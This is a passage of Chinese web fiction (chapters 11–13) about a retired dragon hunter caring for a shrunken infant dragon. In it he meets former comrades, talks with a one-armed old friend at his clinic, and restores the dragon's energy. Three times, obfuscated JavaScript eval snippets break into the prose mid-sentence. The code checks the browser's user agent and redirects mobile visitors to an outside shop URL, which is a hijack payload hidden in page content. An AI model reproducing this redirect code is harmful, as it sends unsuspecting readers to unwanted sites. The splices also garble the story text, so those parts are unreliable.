荣纪海此时的注意力在盘子上,自然没能发现余光之外,小龙盘起身体打算睡觉时,突然对着环绕到鼻尖前,自己空空如也的尾尖愣神。 荣纪海转身走向厨房,身后,小龙疑惑地用四只爪子一起抓住了自己的尾巴,对着只微微温热,却不再燃烧着火焰的尾巴尖左看右看。 小龙困惑地歪歪头。 奇怪,我什么时候学会的收回火焰? 11. 第五天·觉察 遇到龙之前,荣纪海退休后起床第一件事就是拉黑骚扰电话,而在遇到龙之后,转变成了拉开窗帘确定龙是否还在原地。 但在龙变小后…… 荣纪海被隐隐钻入梦境中的焦味惊醒,眼皮都没睁开便两指一弹,隔空熄灭了小龙尾巴尖上燃起的火焰。 不愿去想这回又烧着了什么,荣纪海闭着眼缓解了一下一晚惊醒数次而干涩的眼球,才反手摸到手机查看时间。 五点。 他叹了口气,认命地撑起并没能得到足够恢复的身体,转头看小龙依然睡得香甜。 “没想到你小时候这么能折腾……龙的巢穴里难道就没有易燃物吗?”荣纪海将小龙又甩到枕头上的尾巴扒拉下来,让它垂落在床侧。原先被尾巴尖遮挡的布料露了出来,已然已被烫出小而圆的焦黑。 就在专门给小龙准备的枕头上,已经有将近十个一模一样无规则散落的焦痕。 ……还是随身带着吧。 荣纪海将小龙连带着枕头一同抱起,小龙对此只是翻了个身,四只爪子抵在荣纪海的胸膛上,没有要醒的征兆。 荣纪海把枕头搁在盥洗室的铁架上,让尾巴穿过空隙较大的栏杆,用物理方式保证阴晴不定的尾巴尖悬停在半空中。 洗漱时屏幕一亮,荣纪海鞠一捧水浇在脸上,腾出一只手点开手机。 唐:[现在] 荣纪海动作一滞,市区地图在脑内展开,以唐先前约的速食店地址为中心筛选了几个可能的距离。 现在下山的话……也许刚好。 荣纪海几下擦干脸上的水珠,要迈出步子前犹豫了一下,还是抬手摸了摸小龙的龙角,无形的屏障便将小龙包裹在内。 抱歉……不过还是暂时在这里面待一会儿吧。 —— 荣纪海在距离上下山出入口还有一小段路的位置停好车,再次确认了一下自己的装束,感知内一团纠缠的能量团正往他的方向靠近。 他看看四周,步伐偏移,穿进树丛间沾了一身树叶,就这样绕开大路,从边上走完最后一小段距离。 钻出最后一层树丛时,如他所料正好与一群人撞了个正着。 “……我还以为是什么——原来是你啊。” 站在最前面的人第一个看到他,即便荣纪海正低着头状似看路,也依然第一时间就叫出了荣纪海的名字。 “荣纪海。你在这里干什么?” 荣纪海像是才发现对面的来人是熟识,抬头时不经意间一愣,转眼又扯开一个不带感情的笑,“退休生活给自己找点乐子罢了,倒是我想问你,你在这里干什么?” 他抬起脸时,来人身后的人群中也有人认出了他,一时间队伍里窸窸窣窣个不停。 领头的男人微微偏头,身后的声音顿时弱下去一截。因偏过去而完整展现在荣纪海眼前的侧脸上,那道曾经从太阳穴直直往下划入下颌的疤痕已经被纹上了一枝玫瑰,长长的带刺的枝干与疤痕原貌融合在一起,一时间竟颇有些浑然天成的意味。 “……”荣纪海的目光在那上面掠过一瞬,轻松地取了个话题,“袁哥好兴致啊,还纹了个玫瑰。” 被称作袁哥的人似乎并不打算与荣纪海多言,上上下下打量了荣纪海一番后,便单刀直入道:“你知道我们要做什么吗?” 荣纪海轻轻眨了一下眼,“什么?”他顿了一下,“与我有关吗?” 对面沉默了一会儿,“你开了白名单?好像没有人成功联系到你。” “毕竟我已经退休了嘛,生生死死的也与我无关了。”荣纪海耸耸肩,作势要离开,“开了白名单还能在这儿遇见你们,也是缘分。我先走啦,你们忙。” 一只手搭上荣纪海的肩膀,“等等。” 荣纪海忍下了想把那只手掀下去的冲动,站定询问:“还有事吗?” “袁哥”目光转向眼前的那座山,凝视了一会儿视野范围内繁茂的枝枝叶叶,“你在这里待了很久?” 荣纪海自然知道对方真正想问什么。 “野营了几周。现在想找到一座原生态又不太危险的山可不容易了。” 大概是哪个性急的新人,见他们温温吞吞地你来我往实在忍不住了,开口催促道:“袁哥,他不跟我们一起——” “闭嘴。” 荣纪海的目光锁定到那个陌生声音的来源方向,恰到好处露出了一丝疑惑与警惕,“说起来,你们这是要去?” “袁哥”往那个声音的方向刮了一眼刀,稍微站正了点,“我们这是要去——改变人类的未来。” 荣纪海微不可察地皱皱眉,眼底浮上一层阴霾,还没等他开口,对方便提高音量打断了他的动作:“别误会,我们要做的,比你以为我们要做的事情,更加伟大。” 更加伟大? 荣纪海想起那天唐的欲言又止。 到底是什么东西,值得这群人这样疯狂又自大? 他脑内头脑风暴着,嘴上没停,“伟不伟大的……在你——在你们眼里,能比这么多人的命还重要?我可不记得当初的宗旨是这样的。才过去三个月吧,看你们这架势……” 他微妙地停住话头。 “荣纪海。”对方的声音里突然带上点怜悯——见鬼,怜悯?荣纪海几乎不敢相信自己的耳朵。 “这次的行动,可不是你想的,去杀龙那么简单。”被这话中的某个字眼刺到,荣纪海目光一寒。 “不过,对于你这种,甚至否定了你曾作为猎龙人的过去的人而言,我很好奇,如果是你,会做出什么样的选择。” 荣纪海敛下眼中的波动,不由自主地想到山上那只正酣睡着的龙,“我对猎龙人的态度,您不是早就知道了吗。我倒是很好奇,是什么行动能让您好奇,我会做出什么选择?” 对方却不再继续往下说了,只是似非似笑地看了荣纪海一会儿,一招手便利落转身要走,“没什么,只是,有的人的梦想终究只会是梦而已,我们走的这条路,才是人类真正该走的未来。” “袁哥”带着身后的人走远,即便已经迅速行进了五十米,依然能看见队伍末尾零星几个人还在不断回头,想要再看一眼荣纪海。 百分之六十都是陌生面孔…… 荣纪海站在原地,思索着几分钟前瞟见的几张人脸。 梦想终究只会是梦……荣纪海已经记不清究竟有多少人曾对他说过多少次类似的话了。 但这一次,似乎格外不一样。 [如果还想做些什么的话……要抓紧了。] 唐当时……也这么说了。 一股来历不明的不安如毒蛇般缠住他的心脏,毒牙反射着模糊的光亮,不知何时会对着他的命脉啃咬下去。 不只是“做不到”的意思,更像是……没机会做到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052622|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是,还能有什么事情是比直接猎杀龙要更加无可挽回的呢……他握紧双拳,竭力将脑海里因被提起自己曾做过的事情,而无法控制迸发出的一片血色压下去。 直到视野里再也看不到那群人的背影,荣纪海才微微低下头。睡眠不足的头痛又找上门来,连带着云里雾里的一通交锋,最后除了一点线头,什么都没问出来。 这都什么事啊—— —— 荣纪海一进家门便直奔盥洗室,眼前已经脑补出盥洗室少得可怜的可燃物都被睡醒的小龙一怒之下焚烧殆尽的景象。 出乎意料的是,盥洗室内非常完整,什么都没少。 但那个最不该少的却消失了。 荣纪海对着孤零零的枕头愣神一会儿,半晌才想起感应小龙的位置。 嗯?怎么会在那里? 荣纪海又迅速转身下楼,直奔客厅角落的那个纸箱。 简直像是故意响应着他的到来,荣纪海刚靠近纸箱,里边就传来颇为激烈的“扑通”声,纸箱左歪右斜的,几乎要在地板上跳踢踏舞。 荣纪海差点倒吸一口凉气,意识到里面可能正发生着什么——或者即将要发生什么惨案,他马上倾身向前,在一黑一白的强对比色中准确地在那团白色将要向后蹬出后腿前,一把捞起那团黑色,将小龙带离了危险地带。 “被兔子蹬可不好受,这个体型的你,防御强度还没到能防内伤的程度吧。”荣纪海一手两只地抓住小龙的四只爪子,上上下下检查是否有哪里受伤。 小龙不满地扭动身体想要解救自己的爪子,尾巴尖上的火焰一明一灭。 荣纪海边检查着小龙的情况,边猜测小龙是怎么挣脱出禁锢的。 一心两用令他没有注意到小龙慢慢停止了挣扎,被迫抵在自己衣襟上的鼻尖耸动了一下,尾尖上原本还在不稳定地晃动明灭的火焰突然彻底灭了,静静垂落下荣纪海的臂弯。 小龙紧闭的双眼艰难地睁开,像是刚从一场连环噩梦中醒来,还未完全清醒时瞳孔却突兀地变细变小,针扎般骤缩。 小龙凝神着再次凑近荣纪海的衣襟,那上面除了过于浓郁的草木气味,还有……还有什么东西。 小龙费力地以一个扭曲的姿势仰起头,荣纪海正拎了龙的尾巴检查,视线水平正好与小龙投过来的视线错开。 荣纪海的眼神相较以前略有点飘忽,并不算是走神,只像是飞鸟掠过树顶,惊动了原本正低头走路的行人。 小龙控制不住地打了个哈欠,逐渐模糊的视线里,荣纪海的脸正离它远去,混沌的大脑好一会儿才反应过来,是荣纪海把它放到了沙发上。 “……嗯,下午吧……%#*%@……见到了……我知道。” 荣纪海的声音远远近近,时而又像山谷的回音,重重回响在小龙的耳腔内,剧烈的干扰让它只能捕捉到一些简单的字词。 当荣纪海放下耳边的手机重又看向沙发上的小龙时,小龙已经闭上了眼,尾巴倒是有自知之明地搭在沙发边上,尾尖拖了一点在地板上,时不时爆出点小火星。 腿侧还未熄屏的手机屏幕上,联系人最上面一栏是一个人名——李仁常。 荣纪海半蹲下身,把地毯往远离沙发的方向扯了扯。 当务之急,还是先解决它的问题吧。 小龙的眼皮颤动着,像是再次陷入不知何时能在醒来的梦魇。 12. 第五天·旧友 荣纪海照例专门给小龙煮了些水饺,自己则坐在小龙对面,有些心不在焉地注视着小龙晃动的尾巴。 先前小龙在沙发上又睡了一觉,好在并没有睡多久,很快便醒来并且差点点燃了沙发。 之前的龙的尾巴尖,似乎根本不会像现在这样经常冒火啊。 荣纪海看着那动不动就“噼里啪啦”爆火星的尾巴,前四天的记忆被调取出来一一过目。 如果思维能力也退化了的话……所以龙现在的认知是幼年期的认知?幼年期的龙都这样控制不住火焰吗? “……好像和人类小孩也没什么区别。”荣纪海轻声喃喃着,小龙已经彻底忽略了荣纪海的声音,头也没抬一下——这与先前的龙的表现也完全不一样。 转眼间水饺便吃光了,荣纪海趁小龙懒洋洋地舒展身子时将盘子放回厨房里,走回来时顺手看了眼时间。 差不多了。 荣纪海朝小龙伸手,不料上一秒还还在伸展爪子的小龙,下一秒便冲着荣纪海伸过来的手龇牙咧嘴起来。 荣纪海的手停在半空中,眼神复杂地看着小龙这番动作。 是啊,被关了几次的小龙怎么可能还没反应过来,就算思维只有幼年期的水平,但对于危险的感知能力还是存在的。 他放下手,尝试靠近小龙。 小龙虽然目光凶狠,却没有喷出火焰或是举起爪子,仅仅只是警惕着的样子。 荣纪海开口解释道——虽然不知道是否有用:“我得出门一段时间,不控制住你的话,你大概会把整个房子都点着吧。” 小龙的头跟着荣纪海的位置变换移动着,虽然身体摆出了攻击姿态,但是…… 没有感觉到任何威胁性。 荣纪海沉思一会儿,心里有了一个猜测。 他作势转身,打算就这样出门,“好吧,那我先走了,你——” 他刚了侧了点身,小龙突然煽动翅膀,不太熟练地撞上他的肩膀,好在他眼疾手快扶了一下,没让小龙丢脸地直接坠机。 “怎么了?” 小龙“嗷”了一声,理直气壮地四爪并用,勾着荣纪海的衣服把自己往上扯。 荣纪海看了看自己肩头被勾出来的线头,话到嘴边又咽了下去。 感觉像养了一只猫。 小龙一个前滚从肩头滚进荣纪海怀里,就这样待在对方臂弯里不动了。 这既视感……又是在撒娇吧。 怎么会有生物的撒娇方式是一动不动的? 荣纪海想不明白,放弃思考。 “你要跟我一起去?”荣纪海轻轻颠了颠小龙,回应是抱紧了自己一只手臂的爪子。 荣纪海有些为难地皱皱眉。 那群人还没有走远,保不齐会探查到什么……但如果真要把小龙关个一下午,似乎也是做不到的了。 先不说能不能关住,这做法本身也不太人——不太龙道。 如果带过去的话,只是在下车时留在车里…… 荣纪海叹了口气,两指轻轻捏住小龙翅膀的骨刺,“好吧,只要你别烧了我的车。” —— 等荣纪海到达时,毫不意外已经下午三点了。 副驾驶上的小龙稀奇地一直没有睡意,抓着安全带玩了一路,倒是还算省心。 荣纪海在尽可能离那间诊所最近的位置停好车,把小龙放到了后座的地上——托先前小龙打滚的福,他总算记起把车子的里里外外都清理了一遍。 小龙懵懵懂懂地抬头追着他离开的手指,只后爪着地,身体立起要去抓那根眼前的手指。 这个场景有点眼熟啊。 荣纪海心情微妙地放下手指,顺了小龙的意让它抓了抓,大概是猎物被抓到得太快,小龙迅速失去了兴趣,将刚抓住的手指扔到一边。 “嗯,确实很像小孩子。”荣纪海换了个方向碰到小龙的尾尖,轻轻凝了一团包住常蹦出火星的位置。 小龙正在地垫上磨爪子,没有任何反应。 荣纪海微微放心了一些,“看来这种小型短期的不会被发现……那就好。” 最后看了一眼小龙的背影,荣纪海开门下车。马路对面,[仁常诊所]的招牌下,那个两年未见的旧友安静地站在那儿,见他的视线转过去,只是轻微地点点头,便转身隐进略显昏暗的室内。 —— 荣纪海掀起门前的浅黄色门帘进去时,第一眼便看到了正对门口的前台上,一张侧放着的合照。 他目光微微一凝,只停顿了一秒便移开视线。 “你这个诊所……平时真的有生意吗?” 李仁常走到前台后坐下,示意荣纪海随便找个地方坐下,“躲了我两年,说的第一句话就是这个?” 荣纪海并不介意对方的态度,随意找了个侧放着的座椅坐下,抬头便是用来挂药瓶的支架。 “我躲你?难道不是你躲了我们所有人吗?” 李仁常没有回话,装作无事发生的样子端详着荣纪海的神态。 确实如唐所说,不对劲。 李仁常敛下眼底情绪,手指在桌上轻敲了敲,“他们离开了吗?” “不知道。不过……”荣纪海直直朝李仁常望去,“听唐说,他们来找了你?有说是为什么吗?” “怎么可能跟我说。找我……估计只是要个人肉盾牌吧。”李仁常讽刺地低笑,见荣纪海因他的话脸色黑了些,“你这反应……唐没跟你说吗?有的人似乎已经疯了。” 荣纪海偏移了一点目光,重点却放在了别处,“我还以为你不想再接触到这些事了,毕竟两年毫无音讯。” “唐可跟你不一样,如果说你是过于有边界感,唐那种人就是完全的……”李仁常大概是被唐折磨得够呛,顿了好一会儿才接上尾音,“她应该根本不会拼这个词吧。” 荣纪海好像听到了什么奇怪的东西,迅速瞟了李仁常一眼,却什么都没说。 “你找我,有什么事吗?应该不只是为了问他们的事吧。” 李仁常微不可察地坐直了点,眼角余光在对着自己的合照上掠过。 “我记得两年前退出时就跟你说过了吧,我的选择与你没有关系。”他右臂上垂落的空袖筒随着他的动作轻晃,“这只是对于我这样的——普通人的必然结果。” 他其实已经快忘了那个时候的事了。 一片废墟里有人把他扶起来,冲不知哪个方向大叫着“这里还有活着的!” 从那一刻起,他平庸但平淡的生活就此扭曲,冲着南墙一头撞了过去,直到头破血流,连自己的命都差点搭了进去。 他这样的普通人……他这样的,有一些能力,却只能够让他在普通人的世界里受尽知道太多的折磨的普通人,从那时起做下的每一个决定都过于自大了,以至于以为可以改变这个世界…… 所以最后才会变成这样吧。 他微微偏头,衣服遮盖下他看不到自己的右肩。但那块孤零零的肌肉是全身上下他最熟悉的部位,过去两年的每一个夜晚与刚醒来的清晨,那块肌肉传来的痛楚犹那条手臂还在似的。 如果真的还在就好了…… 只是天真作祟而已。 李仁常没注意到自己将这句话说了出来,他只是低着头,沉浸在自己的回忆中。 荣纪海一手撑在扶手上,稍微侧过身面朝前台,听到了李仁常无意说出声的那句话也没有作任何反应。 几秒的静默后李仁常回过神来,看见荣纪海一副坦然的姿态,总算想起来他真正想问的事情。 “你……还打算继续吗?” [谁知道呢。] 唐这样说过。虽然唐这个人有时有些神经质,但该敏感的时候倒也不会掉链子。 那究竟是什么意思呢? 李仁常牢牢盯住荣纪海的眼睛,试图从中寻找到点什么。 “……我已经退休了,你不知道吗?”荣纪海摊摊手,表情自然。 果然,还是和以前一样。 李仁常撇过头去长出一口气,以免忍不住突变成脏话倾泄而出。 “我一直很好奇,”李仁常冷静了一会儿,重新找了个话题,“我有那些——天真的想法,只是因为我想活着。如果不能实现的话,我的父母……还有我可能会在意的所有人,都总有一天会陷入地狱般的未来,”他伸手轻抚相框,“那你又是为什么呢?” “明明你出身在那种家庭……还是该叫家族?” —— 足以震慑每一个生灵内心深处的痛嚎,从半空淋淋落下的血肉块,燃烧的森林,浓郁的黑烟——那是足以被称之为地狱的场景。 别打了,别再—— 可一转头,那边却是同样痛苦的哀嚎与痛哭,有人崩溃地想要自我了结,有人已经……不成人形了——那是另一个地狱。 而他站在这两个截然不同,却又无比相似的地狱的交界处,茫然又疲惫。 这是在干什么呢? [喂!还愣着干什么!进攻啊!不然眼睁睁地看着所有人都死在这里吗!”] 那是来自遥远时空那端的怒吼,尾音几近撕裂,绝望的迷雾嘶哑了无数人的嗓音,在生命结束的那一刻甚至没有力气发出最后一句遗言。 两边的地狱轰然坍塌,独留他站的地方是唯一光亮。地面成了无处可依靠的悬崖,他只有独身站在这里,想要走上这条路与他并肩的所有人都将掉入深渊,死在追逐光的路上。 而他自己,也哪边都去不了了。 —— 荣纪海微微放空,目光落在天花板落尘的风扇叶上,良久才用呼吸般的音量回答道:“谁知道呢。” 李仁常一哽,忍了又忍,还是一掌拍在桌面上,震得相框也晃了晃。 “又来了,你从一开始就是这副鬼样子,好像总是在顾虑着什么。到处寻求支持者的人是你,最后把支持你的人全部推开的也是你,你到底——” “因为我没有权利。”荣纪海冷冷开口,声音里没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052623|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一丝动摇。 被突然用没头没尾的话打断,李仁常的大脑懵了一下,“什么?什么权利?” “就像,”荣纪海放慢了声音,一字一句地解释道:“你想要父母平安,想要一个能够活下去的未来。而唐,唐只是热爱,只是感兴趣,但也并不是想为之毙命。就像你们,这个世界上每个人都有自己的活法,我没有权利要求任何人放弃那些,跟着我去追求一个很可能是一场空的结局。” “……”李仁常缓缓握紧自己左手成拳。 “有些事情只能我自己来做。”荣纪海轻声下了判决。 李仁常轻蔑地笑了一声,开口时声音却虚浮着,无处可依,“然后呢?因为没人帮你收尸,甚至最后死在哪里都没人知道吗?” “嗯?当然不啊。”这回荣纪海答得很快,语气里的轻松与理所当然让李仁常几乎幻觉刚刚争锋相对的对话是一场白日梦。 “哈?” 荣纪海笑笑,像是毫无困扰的样子,“我死了的话不就彻底没可能了。” 李仁常哑然半晌,干巴巴地判断:“原来你还没疯啊。” 荣纪海转头看向门外,李仁常的目光也跟过去,但门外除了人行道、马路、少有经过的车辆之外,什么都没有。 “如果……”荣纪海面朝门外小声喃喃。 因为位置与朝向,李仁常没听清荣纪海在说什么。 “你说什么?” “如果,”荣纪海转回头来,温和地朝他笑了笑,“如果有一天,我距离那一步真的很近了,我会寻求帮助的。” 李仁常愣了半晌,因情绪激动紧绷的肌肉缓缓松下来,他疲倦地后仰靠在椅背上,微弯着腰,完好的左臂手肘撑在膝盖上,“有时候真的觉得,你就是个怪物。” 荣纪海疑惑地问道:“怪物?这种情况不是一般会用……‘疯子’吗?” “疯子还是用来形容人的,但怪物——你可能都不算人了吧。”李仁常拖长了语调解释道,有些无精打采。 “……也许是吧。” “啧,”李仁常眉心一跳,“别就这样承认啊。” 他重新撑起自己的身体,“所以,你打算一个人解决了?” “解决什么?”荣纪海颇为迷茫地反问,一副完全没听懂李仁常在说什么的模样。 “……没什么,神经病。慢走不送。”果然,根本不可能试探出来什么。 通常是过于有分寸感的荣纪海此时却没有动,李仁常疑惑地看过去,正好与对方有些犹豫的目光撞了个正着。 “……说吧,还有什么事,”李仁常顿了顿,无奈地叹口气,“我就知道,除非你自己也有事要找我,否则不可能接受我的邀约。” “你还记得,以前互相练习掩盖气息的技巧的时候吗?”荣纪海状似松了口气,随意开口问道。 “……怎么了?” 荣纪海似乎有些困扰,“遇见他们的时候,我好像被用了这招,后来一直觉得困。” 李仁常微妙地上下打量了荣纪海一会儿,嘴巴开开合合,似乎很想说些什么,但最后都一一咽了回去。最后开口时,他只是如一名称职的,不会过多询问患者隐私的医生那样,简单询问道:“现在也困吗?还有什么症状?” 荣纪海抬起手臂握了握拳,“偶尔会感觉身体不太像自己的。” 李仁常沉吟一会儿,回忆了一下数年前练习时的场景,“我自己的力量不够,不过倒是有听其他人提起过……掩盖气息的原则是改动人体内能量流动的一些细节之处,从而让自己的气息混进自然气息里,迷惑对方的感知系统。如果是由力量更强的一方施加在弱的一方身上,不会出现任何问题,所有需要改动的关窍都在掌握之中。” 李仁常停顿一下,与荣纪海淡然又带了点好奇的眼睛对视,“但如果反过来,可能就会因为有些关窍没能有足够的力量打通或关闭,从而造成各种奇怪的,难以计数也毫无规律的副作用,甚至让最后的结果截然相反,也就是让自己的气息变得更加明显突兀。” 荣纪海沉思一会儿,追问道:“所以,要怎样才能解决——或是缓解那些副作用?” “不一定的,这个因人而异,每个人遇到的副作用可能都不太一样。”李仁常观察着荣纪海的五官,“不过,死马当活马医的话,如果被施术者足够强,可以试试强行打通所有关窍——也就是把一切恢复成初始的样子。” 见荣纪海似乎还是有点顾虑,李仁常摆摆手,“放心,是你的话,你这强度,初始样子肯定是关窍全通的,重置一下自己体内的状态就解决了。” 荣纪海得到了想要的答案,了然地点点头,“明白了,谢谢。” 他冲李仁常挥了挥手,起身走出店门,慢慢往正对着的马路对面的停车处走去。 李仁常凝视着荣纪海的背影,若有所思地摸摸下巴。 完全没有困倦的样子,那些症状根本不是在说自己。 有意思,还真瞒着些什么…… 13. 第五天·最后一个夜晚 回到车上后,荣纪海没急着离开,一手按在被车门的动静吸引而凑过来的小龙的龙角间,简单查探了一下。 “……确实有闭合的部分。”荣纪海放下手,小龙不明所以地想要仰头看到自己被按住的地方,逗得荣纪海笑了笑,“是又变小了吗,怎么做出这种——”蠢动作。 他启动车子,余光瞥见小龙缩进了后座底下,便也没强行捞它出来。 “还是先回去吧,总不能在这里……”荣纪海启动车子,来时的心事总算是解决了一桩。 —— “嗯?”荣纪海伸了一根手指逗着小龙,便见腿边放着的手机振动起来。 [来电人唐] “……”荣纪海脸色沉下一些,却还是点开了接听。 “什么事?”小龙追着荣纪海的手指打转,不见精力被消耗,倒越玩越兴奋起来。见状,荣纪海一肩夹住手机,另一只手把小龙控制在自己腿上,试图通过安抚让该安静时反而活力满满的小龙进入睡眠。 那边的唐毫不在意荣纪海语气中若隐若现的冷意,一如往常地询问道:“嗨,荣,早上怎么样?有出事吗?” 腿上的小龙不死心地炸开尾尖的火焰,被荣纪海几乎是条件反射地熄灭,警告性地直接握住对于幼龙而言还脆弱敏感的尾尖,回答唐时便有些心不在焉。 “啊……没什么,糊弄过去了。”荣纪海微微低头,毫无情感波动的眼底倒映出小龙作势要咬他的小尖牙,没有再继续追问这次行动的原因——大概依然得不到答案就是了。 唐显然松了口气,她在这种事情上偶尔会显得不太擅长隐瞒,顺着荣纪海给的台阶下了。 “啊哈哈,那就好,听说李可是被他们缠了一阵子呢。” 荣纪海手上逗弄小龙尖牙的动作停了停,声音中听不出任何破绽,“我和他见过面了。” “哎??什么时候的事?今天吗?你们谁提的见面?” 荣纪海将手机稍微离远了点,“李仁常。不过,我也正好有点急事要问他。” “嗯……那你们谈得如何?” 荣纪海歪着头想了想,“被骂了。”小龙几乎是同时咬住了他的虎口,好在他的虎口上结了层茧,倒是没那么容易被尖牙刺穿。 唐笑起来,幸灾乐祸的样子,“李现在的脾气是挺大的,和以前完全不一样,对吧?” “嗯,挺尖锐的。” “我之前遇到他的时候也被吓到了呢,跟之前我们认识的那个李完全就是两个人嘛。我还以为是遇到什么双胞胎弟弟或是哥哥了,毕竟那个时候他的手臂没了一条。” 荣纪海张张口,嘴角扬起一个有些无奈的弧度,“你也挺尖锐的。” 他嘴上与唐闲聊,手上也没停着。眼见着小龙又要被逗得炸毛,他终于放轻了动作,尝试在小龙背部的鳞片上来回摩挲。 成年正常体型的龙,背部的鳞片坚硬又厚实,足以隔绝无法打穿鳞片的所有疼痛。但幼龙——特别是他眼前这个体型更小的特殊情况,背部的鳞片依然是薄薄一片,虽然也有一定保护作用,但似乎会将施加在鳞片上的动作如实反映给身体。 小龙先是怕痒似的扭动几下,很快就安分下来,在荣纪海的腿上乖乖趴下了。 “——喂喂,荣,你在听吗?” “啊,抱歉,我走了下神,你说什么?”荣纪海靠进沙发里,换了个舒服点的姿势。 “我说啊,后来我感觉,也许现在的这个李只是他真正的本性而已。” “本性?” “对啊,之前他不是队里最弱的那个吗,也是半途加进来的,什么都不知道,估计那时候比较自卑吧。” “……唐——” 唐迅速预见了可能要被说教的可能,强行打断荣纪海,“哎,别教训我啊,我只是在陈述事实而已。” 荣纪海叹了口气,“……你继续。” “但后来他退出了,重新成为普通人两年,感觉可能也想通了什么吧,变得很直接了。不过,这也只是我的猜测,毕竟我也不认识以前的他是什么样的。” 荣纪海察觉到什么,眼底总算浮现出了点兴趣,“你好像对他还蛮有兴趣的?还分析上了。” “嗯……确实蛮有兴趣的。毕竟他是普通人哎,却又和普通人不太一样……但最后居然还是回到了普通人的位置上。”唐绕口令似的碎碎念着,“啊——我真的很好奇他的想法和每次选择的感受哎。” 小龙打了个哈欠,翅膀慢慢收拢起来。 “好奇的话直接问他不就好了。” “我才不要,他会骂我神经病然后把我赶出去。” 荣纪海笑起来时带动的身体颤动让小龙好奇地撑着眼皮抬头看他,又被荣纪海摸了摸龙角。 “原来是已经问过了啊。” “呃……啊,我不是想跟你说这个来着——所以你俩到底和好没?” 荣纪海好心地没有揭穿唐这副僵硬地转移话题的窘迫样,顺着唐的话题聊了下去。 “和好?我们也没绝交吧。” “哈?没有?那你们之前是在干嘛?” 荣纪海再次拿远了点手机,腿上的小龙已经闭上眼,尾巴却还在轻微晃动着,显然是还没有完全睡着。 “只是选择了不同的路而已,不然你以为为什么你也是在他退出两年后才遇见的他。”荣纪海这才意识到唐到底对他们之间的关系产生了什么样的误会。 “等等……所以他之前原来是一直在躲吗?”唐那与音量大小成正比的惊讶表明了她确实没想到这层。 “……原来你真没意识到啊。”荣纪海用手指顺着小龙的翅骨划过,小心地不触碰到顶端的骨刺和还没那么结实的翅膜,“之前他只是不想再与这些沾上关系了吧。至于现在为什么出现……也许就像你说的,他想通了。” “……果然我还是很想搞懂他,太奇怪了。” 荣纪海像听到了什么笑话,微侧了脸对话筒道:“唐,有没有一种可能,是你太奇怪了。” “啊?什么意思?” “就是说,他的想法就是绝大多数普通人都会有的正常想法而已。” 唐的声音低下去一点:“……是吗?我不太了解普通人。” 荣纪海愣了愣,想起了什么,语气便温和了些,“嗯,普通人,或者说,不管是普通人还是——人类都是这样的,充满矛盾又不断徘徊。能始终坚定只往一个方向走的……还是比较少。” 他边放慢了语速解释,边轻轻挑了挑小龙耷拉下去的尾尖,对方趴在自己腿上,没有任何反应。 荣纪海目光一凛,抢在唐开口前率先单方面宣布结束通话:“就这样吧,我还有事。如果你想了解的话,去找他不就好了,他不是挺欢迎你的。” 那边大概是荣纪海的话中深意惊到,接连叫着挽留荣纪海:“等等等,真的吗?真的可以吗?可他不是不想再沾这些了吗?” 荣纪海一手从外侧托住小龙的身体,同时尝试着以这个姿势站起来。好在小龙已经陷入深眠,没有被这番动作惊醒。 “如果真的完全不想了,当时你遇见他的时候他就会马上离开那座城市了吧,又怎么会一直放任你去找他聊天……总之,你不要拿看龙的眼神看他就行。”荣纪海想起什么不太美妙的回忆,“不,只要别拿看龙的眼神看任何人,就不会有事。” 他不等唐再追问,当机立断马上挂断了电话。 荣纪海顺手拿了沙发上一个靠枕,带着小龙来到院子里,站在先前还没变小时的龙在院子里躺出的浅坑中央。 他把靠枕放在地上,又把小龙安置在抱枕上,便以自己单膝半蹲的姿势伸手,张开手指,隔空盖住了小龙几乎整个身体。 荣纪海闭上眼,将自己的感知力压缩成针尖大小,顺着手心流淌进小龙的身体里。眼前的黑暗迅速转变成点线面汇成的光图。他加了点力进去,精准地卡在最合适的力道与强度上一道道冲破紧闭的关窍,小龙体内的能量流动方向悄然改变。 最后一道关窍被冲破时,小龙的龙角亮了亮,细密的花纹沿着龙角根部层层蔓延上来,在角的尖端磨刻出一点火花。 荣纪海松了口气,放下手时自然落在小龙的头上,“能看到幼年期的你……还是挺神奇的经历。不过,还是赶紧变回来吧,不然可就什么都做不成了。” 小龙的尾巴尖颤了颤,本即将爆出的火花熄成了一点小火星,一闪一闪着,最后还是彻底灭了下去。 荣纪海顺着小龙的身体弧线慢慢摸过去,满意地感受到手底下的鳞片正以肉眼可见的速度增厚。 “嗯……”他站起身,稍微活动了一下双腿,环视了一圈院子的环境。 “……还是在这儿陪一晚吧。”荣纪海走进仓库,搬了张行军床出来,“还好没坏。” 他在浅坑边缘支起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052624|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行军床,用眼神大概丈量了一下龙变大后可能占的地方,还是再稍微挪远了点。 